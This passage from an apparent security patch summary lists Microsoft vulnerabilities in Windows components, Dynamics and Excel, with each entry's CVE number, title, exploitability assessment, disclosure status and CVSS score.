CVE-2026-58594 Remote Desktop Client Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56190 Remote Desktop Protocol Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-49783 Secure Boot Security Feature Bypass Vulnerability Exploitation Less Likely No 7.8
CVE-2026-42990 SQL Server ODBC driver Elevation of Privilege Vulnerability Exploitation Unlikely No 9.8
CVE-2026-49168 Storage Spaces Direct Elevation of Privilege Vulnerability Exploitation Less Likely No 6.8
CVE-2026-49180 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50455 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-58601 Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability Exploitation Less Likely No 7.8
CVE-2026-49805 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50297 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50325 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50489 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 8.8
CVE-2026-57095 Win32k Elevation of Privilege Vulnerability Exploitation Unlikely No 6.2
CVE-2026-56184 Win32k Information Disclosure Vulnerability Exploitation Less Likely No 5.5

CVE-2026-50432 Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability Exploitation Less Likely No 5.3
CVE-2026-54119 Windows Active Directory Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-57976 Windows Active Directory Domain Services Denial of Service Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50366 Windows Active Directory Domain Services Denial of Service Vulnerability Exploitation Unlikely No 6.5
CVE-2026-49164 Windows Active Directory Domain Services Remote Code Execution Vulnerability Exploitation Unlikely No 8.1
CVE-2026-49178 Windows Active Directory Domain Services Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
CVE-2026-54983 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50695 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50304 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50368 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50324 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Less Likely No 5.9
CVE-2026-50355 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50411 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50312 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Exploitation Less Likely No 4.7
CVE-2026-50462 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-57093 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-34346 Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50400 Windows App Package Installer Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50331 Windows Application Model Core API Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49803 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50351 Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-34328 Windows Audio Service Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50406 Windows Backup Engine Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50364 Windows Backup Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50661 Windows BitLocker Security Feature Bypass Vulnerability Exploitation Less Likely Yes 6.1
CVE-2026-42975 Windows Bluetooth Port Driver Remote Code Execution Exploitation Less Likely No 8.0
CVE-2026-58538 Windows Bluetooth Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58638 Windows Boot Loader Security Feature Bypass Vulnerability Exploitation More Likely No 6.0
CVE-2026-58637 Windows Client-Side Caching Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50384 Windows Clip Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-49183 Windows Clipboard Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50689 Windows Clipboard Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50374 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 6.3
CVE-2026-58536 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58613 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50401 Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50697 Windows Common Log File System Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50667 Windows Common Log File System Driver Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50421 Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50352 Windows Cryptographic Services Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50302 Windows Cryptographic Services Security Feature Bypass Vulnerability Exploitation Unlikely No 4.2
CVE-2026-50347 Windows Data.dll Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49181 Windows DHCP Client Elevation of Privilege Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50683 Windows DHCP Client Elevation of Privilege Vulnerability Exploitation Unlikely No 8.0
CVE-2026-54128 Windows DHCP Client Remote Code Execution Vulnerability Exploitation More Likely No 8.4
CVE-2026-58627 Windows DHCP Server Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50518 Windows DHCP Server Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-50685 Windows DHCP Server Remote Code Execution Vulnerability Exploitation Unlikely No 7.5
CVE-2026-49807 Windows DirectX Information Disclosure Vulnerability Exploitation Less Likely No 6.2
CVE-2026-49175 Windows DNS Client Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50426 Windows DNS Server Remote Code Execution Vulnerability Exploitation Unlikely No 6.8
CVE-2026-50300 Windows DWM Core Library Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50437 Windows DWM Core Library Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-34348 Windows Event Logging Service Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50502 Windows Event Logging Service Remote Code Execution Vulnerability Exploitation Less Likely No 8.0
CVE-2026-33842 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-40422 Windows File Explorer Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-41087 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50473 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50442 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50389 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50456 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-57084 Windows File Explorer Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-57091 Windows File History Service Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50405 Windows Filtering Platform Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49172 Windows FTP Service Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-50387 Windows GDI Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-54122 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 8.4
CVE-2026-49796 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50380 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 9.6

CVE-2026-58609 Windows Graphics Component Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50391 Windows Group Policy Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50310 Windows Human Interface Device Information Disclosure Vulnerability Exploitation Less Likely No 4.7
CVE-2026-50485 Windows Hyper-V Denial of Service Vulnerability Exploitation Less Likely No 4.5
CVE-2026-54129 Windows Hyper-V Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50680 Windows Hyper-V Elevation of Privilege Vulnerability Exploitation Less Likely No 8.2
CVE-2026-58534 Windows Input Method Editor (IME) Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50490 Windows Installer Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-58540 Windows Installer Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50425 Windows Internal System User Profile Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50293 Windows Internal Task Bar Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49167 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 4.7
CVE-2026-54132 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 6.8
CVE-2026-49795 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 8.8
CVE-2026-49798 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 9.3
CVE-2026-50354 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.1
CVE-2026-50332 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50377 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50390 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50423 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50397 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50399 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50459 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50477 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50478 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50484 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50673 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58532 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50294 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 6.2
CVE-2026-50316 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50419 Windows Kernel Information Disclosure Vulnerability Exploitation Unlikely No 3.3
CVE-2026-50463 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50475 Windows Kernel Information Disclosure Vulnerability Exploitation More Likely No 5.5
CVE-2026-50429 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 8.2
CVE-2026-58614 Windows Kernel Security Feature Bypass Vulnerability Exploitation Unlikely No 5.5
CVE-2026-58545 Windows Kernel Security Feature Bypass Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50378 Windows Key Guard Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50303 Windows Key Guard Security Feature Bypass Vulnerability Exploitation Less Likely No 5.5
CVE-2026-40378 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-49799 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50371 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50358 Windows Media Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50433 Windows Media Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-34349 Windows Media Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50394 Windows Media Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50415 Windows Media Information Disclosure Vulnerability Exploitation Less Likely No 5.3
CVE-2026-57083 Windows Media Photo Codec Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-54115 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50447 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-50505 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Exploitation Less Likely No 7.5
CVE-2026-58635 Windows Narrator Braille Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50500 Windows Netlogon Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50476 Windows Network Connections Service Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50450 Windows Network Connections Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56650 Windows Network File System Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56649 Windows Network File System Remote Code Execution Vulnerability Exploitation Unlikely No 5.9
CVE-2026-50470 Windows Network Policy Server SNMP Information Disclosure Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50496 Windows Network Policy Server SNMP Information Disclosure Vulnerability Exploitation Less Likely No 7.5
CVE-2026-56194 Windows NFS Server Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56648 Windows NFS Server Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50337 Windows Notification Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49789 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50412 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50422 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50672 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-56175 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56182 Windows NTFS Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50341 Windows NTFS Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-58640 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.3
CVE-2026-49184 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 8.4
CVE-2026-49797 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50308 Windows NTFS Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50386 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50309 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50313 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50388 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50448 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50471 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50461 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50417 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50482 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50494 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50344 Windows OLE Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50686 Windows OLE Remote Code Execution Vulnerability Exploitation Less Likely No 8.1
CVE-2026-50335 Windows Operating Systems Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54987 Windows Overlay Filter Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50435 Windows Overlay Filter Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50409 Windows Overlay Filter Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-40400 Windows PowerShell Remote Code Execution Vulnerability Exploitation Unlikely No 8.0
CVE-2026-55004 Windows Print Configuration Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50499 Windows Print Spooler Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50383 Windows Print Spooler Information Disclosure Vulnerability Exploitation Less Likely No 6.1
CVE-2026-57085 Windows Print Spooler Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-58608 Windows Print Spooler Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50469 Windows Projected File System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50434 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50339 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50430 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50334 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50363 Windows Push Notifications Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50431 Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50372 Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-54982 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-54995 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Exploitation Unlikely No 8.1
CVE-2026-50666 Windows Remote Access Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56647 Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50330 Windows Remote Desktop Client Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50376 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50504 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58533 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58535 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58546 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58539 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-55003 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-57979 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50445 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50497 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-54126 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-57982 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50369 Windows Remote Desktop Services Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-58626 Windows Remote Desktop Services Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
CVE-2026-50318 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50407 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50357 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50441 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50668 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Unlikely No 6.8
CVE-2026-54109 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49792 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49793 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50362 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50492 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 6.8
CVE-2026-58530 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49791 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.1
CVE-2026-50451 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.1
CVE-2026-57096 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50452 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50348 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50410 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50449 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50460 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 8.1
CVE-2026-50457 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50486 Windows Runtime Elevation of Privilege Vulnerability N/A No 7.8
CVE-2026-54125 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50373 Windows Search Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-44806 Windows Secure Channel Denial of Service Vulnerability Exploitation Less Likely No 5.3
CVE-2026-50681 Windows Secure Channel Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-56186 Windows Secure Channel Information Disclosure Vulnerability Exploitation Unlikely No 8.1
CVE-2026-42982 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50694 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability Exploitation Unlikely No 8.1
CVE-2026-50367 Windows Sensor Data Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58619 Windows Sensor Data Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50311 Windows Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56188 Windows Server Network driver Remote Code Execution Vulnerability Exploitation More Likely No 9.8

CVE-2026-50444 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50328 Windows Server Update Service (WSUS) Tampering Vulnerability Exploitation Less Likely No 7.5
CVE-2026-58531 Windows SMB Elevation of Privilege Vulnerability Exploitation More Likely No 7.5
CVE-2026-54997 Windows SMB Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-49801 Windows SMB Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50690 Windows SMB Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-56168 Windows SMB Server Denial of Service Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50360 Windows SMB Server Elevation of Privilege Vulnerability Exploitation Unlikely No 8.8
CVE-2026-57089 Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50333 Windows Spaceport.sys Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50298 Windows Spaceport.sys Elevation of Privilege Vulnerability Exploitation Unlikely No 6.8
CVE-2026-49171 Windows Speech Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.5
CVE-2026-49170 Windows StateRepository API Server file Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58526 Windows Storage Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50299 Windows Storage Spaces Direct Remote Code Execution Vulnerability Exploitation Less Likely No 6.8
CVE-2026-50306 Windows TCP/IP Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50307 Windows TCP/IP Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-49177 Windows TCP/IP Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-54999 Windows TCP/IP Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50669 Windows Telephony Server Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-54124 Windows Terminal Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50350 Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50326 Windows Unified Consent System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49790 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50498 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58547 Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability Exploitation Less Likely No 5.5
CVE-2026-49794 Windows USB Audio Class Driver Information Disclosure Vulnerability Exploitation Less Likely No 4.6
CVE-2026-50453 Windows USB Audio Class Driver Information Disclosure Vulnerability Exploitation Less Likely No 6.1
CVE-2026-58528 Windows USB Audio Class Driver Information Disclosure Vulnerability Exploitation Less Likely No 6.8
CVE-2026-50321 Windows USB Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50479 Windows USB Hub Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49804 Windows USB Video Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 6.6
CVE-2026-49176 Windows WalletService Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49800 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50480 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56173 Windows WebView Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-58632 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54107 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-54986 Windows Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-54112 Windows Win32k Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-54114 Windows Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50670 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50688 Windows Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-56176 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58628 Windows Wireless Network Manager Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50509 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
Microsoft Dynamics vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-55944 Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability Exploitation More Likely No 9.8
Microsoft Office vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-50678 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 6.6
CVE-2026-54988 Microsoft Excel Information Disclosure Vulnerability Exploitation Unlikely No 6.1
CVE-2026-48580 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50408 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55046 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55138 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55054 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-55122 Microsoft Excel Information Disclosure Vulnerability Exploitation Less Likely No 7.1
CVE-2026-55898 Microsoft Excel Information Disclosure Vulnerability Exploitation Unlikely No 6.1
CVE-2026-50675 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
